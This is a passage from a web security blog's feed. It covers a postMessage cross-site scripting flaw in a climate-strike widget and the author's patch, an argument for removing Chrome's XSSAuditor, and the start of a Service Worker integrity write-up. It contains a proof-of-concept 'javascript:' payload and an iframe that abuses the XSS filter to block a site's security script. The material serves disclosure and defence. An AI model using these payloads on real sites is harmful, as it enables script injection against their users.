&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DIGITAL_CLIMATE_STRIKE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;maximize&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;maximize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;closeButtonClicked&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;closeWindow&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;buttonClicked&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;navigateToLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;linkUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Wait a minute. The message does not have to come from the climate strike iframe. The function receives a message through the &lt;code&gt;postMessage&lt;/code&gt; API and checks whether the received object contains a &lt;code&gt;DIGITAL_CLIMATE_STRIKE&lt;/code&gt; attribute. But the website itself could be put into a frame and the parent website would then be able to send messages like this. Alternatively, if the website does not allow being put into a frame (and &lt;a href="https://frederik-braun.com/x-frame-options-security-header.html"&gt;it should&lt;/a&gt;!), it could be opened as a new tab/popup and then receive messages.
Depending on further message content, it will call the function &lt;code&gt;closeWindow()&lt;/code&gt;, &lt;code&gt;maximize()&lt;/code&gt; or &lt;code&gt;navigateToLink()&lt;/code&gt;. The last one sounds most interesting. Let's follow along:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;navigateToLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;linkUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;linkUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;OK. This function is meant to be a simple redirect. However, the &lt;code&gt;linkUrl&lt;/code&gt; is not being checked against a list of known URLs. We could just redirect to &lt;code&gt;javascript:&lt;/code&gt; URLs.
Navigations to &lt;code&gt;javascript&lt;/code&gt; URLs are an old and weird way to execute JavaScript code. &lt;strong&gt;We have just found a Cross-Site Scripting bug&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Here's what an attacker would need to do:
Just open the victim website in iframe or popup in a way which leaves you with a JavaScript handle for the tab/window. The XSS is then easily triggered with something like&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;DIGITAL_CLIMATE_STRIKE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;buttonClicked&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;javascript:alert(1)&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To be clear, I found this bug a week before the strike and wrote a patch that fixes the issue.
The patch adds two checks. First of all the &lt;code&gt;receiveMessage()&lt;/code&gt; function gets a check that only allows for messages from the real iframe. The hostname was defined in &lt;code&gt;iframeHost&lt;/code&gt; as explained in the beginning. Furthermore, we want to limit the &lt;code&gt;navigateToLink&lt;/code&gt; function so it only allows visiting actual websites. The patched &lt;code&gt;receiveMessage()&lt;/code&gt; function is therefore:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;receiveMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DIGITAL_CLIMATE_STRIKE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastIndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;iframeHost&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;maximize&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;maximize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;closeButtonClicked&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;closeWindow&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;buttonClicked&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;linkUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastIndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;navigateToLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;linkUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Kudos to the team for acknowledging and accepting the fix in a timely manner! &lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Chrome switching the XSSAuditor to filter mode re-enables old attack</title><link href="https://frederik-braun.com/xssauditor-bad.html" rel="alternate"></link><published>2019-05-10T00:00:00+02:00</published><updated>2019-05-10T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2019-05-10:/xssauditor-bad.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Update: In July 2019, &lt;a href="https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/xssauditor|sort:date/blink-dev/TuYw-EZhO9g/5xHgUfaBAwAJ"&gt;Chrome developers announced that they are going
to remove XSSAuditor&lt;/a&gt;.
You can follow &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=968591"&gt;their bug tracker
here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Recently, Google Chrome changed the default mode for their Cross-Site Scripting
filter &lt;em&gt;XSSAuditor&lt;/em&gt; from &lt;code&gt;block&lt;/code&gt; to &lt;code&gt;filter&lt;/code&gt;. This means that instead of
blocking the page load completely, XSSAuditor will …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Update: In July 2019, &lt;a href="https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/xssauditor|sort:date/blink-dev/TuYw-EZhO9g/5xHgUfaBAwAJ"&gt;Chrome developers announced that they are going
to remove XSSAuditor&lt;/a&gt;.
You can follow &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=968591"&gt;their bug tracker
here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Recently, Google Chrome changed the default mode for their Cross-Site Scripting
filter &lt;em&gt;XSSAuditor&lt;/em&gt; from &lt;code&gt;block&lt;/code&gt; to &lt;code&gt;filter&lt;/code&gt;. This means that instead of
blocking the page load completely, XSSAuditor will now continue rendering the
page but modify the bits that have been detected as an XSS issue.&lt;/p&gt;
&lt;p&gt;In this blog post, I will argue that the filter mode is a dangerous approach
by re-stating the arguments from the whitepaper titled
&lt;a href="https://frederik-braun.com/xfo-clickjacking.pdf"&gt;X-Frame-Options: All about
Clickjacking?&lt;/a&gt;
that I co-authored with &lt;a href="https://heideri.ch/"&gt;Mario Heiderich&lt;/a&gt; in
2013.&lt;/p&gt;
&lt;p&gt;After that, I will elaborate XSSAuditor's other shortocmings and revisit
the history of back-and-forth in its default settings.
In the end, I hope to convince you that XSSAuditor's contribution is
not just neglegible  but really negative and should therefore be removed
completely.&lt;/p&gt;
&lt;hr&gt;

&lt;h2&gt;JavaScript à la Carte&lt;/h2&gt;
&lt;p&gt;When you allow websites to frame you, you basically give them full permission to
decide, what part of JavaScript of your very own script can be executed and what
cannot. That sounds crazy right? So, let’s say you have three script blocks on
your website. The website that frames you doesn’t mind two of them - but really
hates the third one. maybe a framebuster, maybe some other script relevant for
security purposes. So the website that frames you just turns that one script
block off - and leave the other two intact. Now how does that work?&lt;/p&gt;
&lt;p&gt;Well, it’s easy. All the framing website is doing, is using the browser’s XSS
filter to selectively kill JavaScript on your page. This has been working in IE
some years ago but doesn’t anymore - but it still works perfectly fine in
Chrome. Let’s have a look at an annotated code example.&lt;/p&gt;
&lt;p&gt;Here is the evil website, framing your website on example.com and sending
something that looks like an attempt to XSS you! Only that you don’t have any
XSS bugs. The injection is fake - and resembles a part of the JavaScript that
you actually use on your site:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;//example.com/index.php?code=%3Cscript%20src=%22/js/security-libraries.js%22%3E%3C/script%3E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we have your website. The content of the code parameter above is part of
your website anyway - no injection here, just a match between URL and site
content:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;HELLO&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/js/security-libraries.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// assumes that the libraries are included&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The effect is compelling. The load of the security libraries will be blocked by
Chrome’s XSS Auditor, violating the assumption in the following script block,
which will run as usual.&lt;/p&gt;
&lt;h2&gt;Existing and Future Countermeasures&lt;/h2&gt;
&lt;p&gt;So, as we see defaulting to &lt;code&gt;filter&lt;/code&gt; was a bad decision and it can be overriden
with the &lt;code&gt;X-XSS-Protection: 1; mode=block&lt;/code&gt; header. You could also disallow
websites from putting you in an iframe with &lt;code&gt;X-Frame-Options: DENY&lt;/code&gt;, but it
still leaves an attack vector as your websites could be opened as a top-level
window. (The &lt;code&gt;Cross-Origin-Opener-Policy&lt;/code&gt; will help, but does not yet
ship in any major browser). Surely, Chrome might fix that one bug and stop
&lt;a href="https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning"&gt;exposing &lt;code&gt;onerror&lt;/code&gt; from internal error pages
&lt;/a&gt;.
But that's not enough.&lt;/p&gt;
&lt;h2&gt;Other shortcomings of the XSSAuditor&lt;/h2&gt;
&lt;p&gt;XSSAuditor has numerous problems in detecting XSS. In fact, there are so many
that the &lt;a href="https://chromium.googlesource.com/chromium/src/+/master/docs/security/faq.md#are-xss-filter-bypasses-considered-security-bugs"&gt;Chrome Security Team does not treat bypasses as security bugs in
Chromium&lt;/a&gt;.
For example, the XSSAuditor scans parameters individually and thus allows for
easy bypasses on pages that have multiple injections points, as an attacker can
just split their payload in half.
Furthermore, XSSAuditor is only relevant for reflected XSS vulnerabilities. It
is completely useless for other XSS vulnerabilities like persistent XSS,
Mutation XSS (mXSS) or DOM XSS. DOM XSS has become more prevalent with the
rise of JavaScript libraries and frameworks such as jQuery or AngularJS.
In fact, a 2017 research paper about exploiting DOM XSS through so-called
&lt;em&gt;script gadgets&lt;/em&gt; discovered that &lt;a href="https://github.com/google/security-research-pocs/blob/master/script-gadgets/ccs_gadgets.pdf"&gt;XSSAuditor is easily bypassed in 13 out of 16
tested JS frameworks
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;History of XSSAuditor defaults&lt;/h2&gt;
&lt;p&gt;Here's a rough timeline&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;2010&lt;/em&gt; - Paper "Regular expressions considered harmful in client-side XSS
filters" published. Outlining design of the XSSAuditor, Chrome ships it
with default to &lt;code&gt;filter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;2016&lt;/em&gt; - &lt;a href="https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/aZsNygF84JM/86EbD_q0CAAJ"&gt;Chrome switching to &lt;code&gt;block&lt;/code&gt; due to the attacks with non-existing
injections&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;November 2018&lt;/em&gt; - &lt;a href="https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning"&gt;Chrome error pages can be observed in an iframe, due to
the &lt;code&gt;onerror&lt;/code&gt; event being triggered
twice&lt;/a&gt;,
which allows for &lt;a href="https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#xss-filters"&gt;cross-site leak attacks
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;January 2019&lt;/em&gt; (hitting Chrome stable in April 2019) - &lt;a href="https://chromium-review.googlesource.com/c/chromium/src/+/1417872"&gt;XSSAuditor switching
back to
&lt;code&gt;filter&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Taking all things into considerations, I'd highly suggest removing the
XSSAuditor from Chrome completely. In fact, &lt;a href="https://blogs.windows.com/windowsexperience/2018/07/25/announcing-windows-10-insider-preview-build-17723-and-build-18204/"&gt;Microsoft has announced they'd
remove the XSS filter from Edge&lt;/a&gt;
last year. Unfortunately, a &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=898081&amp;amp;desc=2"&gt;suggestion to retire XSSAuditor initiated by the
Google Security Team&lt;/a&gt; was
eventually dismissed by the Chrome Security Team.&lt;/p&gt;
&lt;p&gt;&lt;footnote&gt;&lt;small&gt;
This blog post does not represent the position of my employer.&lt;br&gt;
Thanks to Mario Heiderich for providing valuable feedback:
Supporting arguments and useful links are his. Mistakes are all mine.
&lt;/small&gt;&lt;/footnote&gt;&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Challenge Write-up: Subresource Integrity in Service Workers</title><link href="https://frederik-braun.com/sw-sri-challenge.html" rel="alternate"></link><published>2017-03-25T00:00:00+01:00</published><updated>2017-03-25T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2017-03-25:/sw-sri-challenge.html</id><summary type="html">&lt;p&gt;For those who have not participated in my &lt;a href="https://serviceworker.on.web.security.plumbing/"&gt;challenge&lt;/a&gt;, this document is about implementing security features in ServiceWorkers. A
ServiceWorker (SW) is a type of &lt;a href="https://duckduckgo.com/?q=web+worker&amp;amp;t=ffab&amp;amp;ia=web"&gt;Web Worker&lt;/a&gt; that can intercept and modify HTTP requests. A ServiceWorker is allowed to see requests towards your own as well as other origins – though …&lt;/p&gt;</summary><content type="html">&lt;p&gt;For those who have not participated in my &lt;a href="https://serviceworker.on.web.security.plumbing/"&gt;challenge&lt;/a&gt;, this document is about implementing security features in ServiceWorkers. A
ServiceWorker (SW) is a type of &lt;a href="https://duckduckgo.com/?q=web+worker&amp;amp;t=ffab&amp;amp;ia=web"&gt;Web Worker&lt;/a&gt; that can intercept and modify HTTP requests. A ServiceWorker is allowed to see requests towards your own as well as other origins – though it &lt;a href="https://frederik-braun.com/publications/thesis/Thesis-Origin_Policy_Enforcement_in_Modern_Browsers.pdf"&gt;must not&lt;/a&gt; be able to see the response from cross-origin resources.&lt;/p&gt;
&lt;p&gt;The idea of the &lt;a href="https://serviceworker.on.web.security.plumbing/"&gt;challenge&lt;/a&gt; was to write a tiny ServiceWorker that would intercept all HTTP requests and cancel everything except those blessed by a white-list. On top of that, external resources (e.g., scripts) must only be loaded with &lt;a href="https://www.w3.org/TR/SRI/"&gt;Subresource Integrity&lt;/a&gt; (SRI). This can be easily achieved, because &lt;code&gt;fetch()&lt;/code&gt; supports SRI out of the box:
If you supply the &lt;code&gt;integrity&lt;/code&gt; keyword in the options parameter to &lt;code&gt;fetch&lt;/code&gt;, it will automatically fail unless the hashes match:&lt;/p&gt;
&lt;p&gt;Here's the relevant code snippet with some extra comments&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fetch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// check if URL in pre-defined whitelist at the top of the document:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;INTEGRITY_METADATA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// if HTML does not contain integrity=, use from the whitelist&lt;/span&gt;
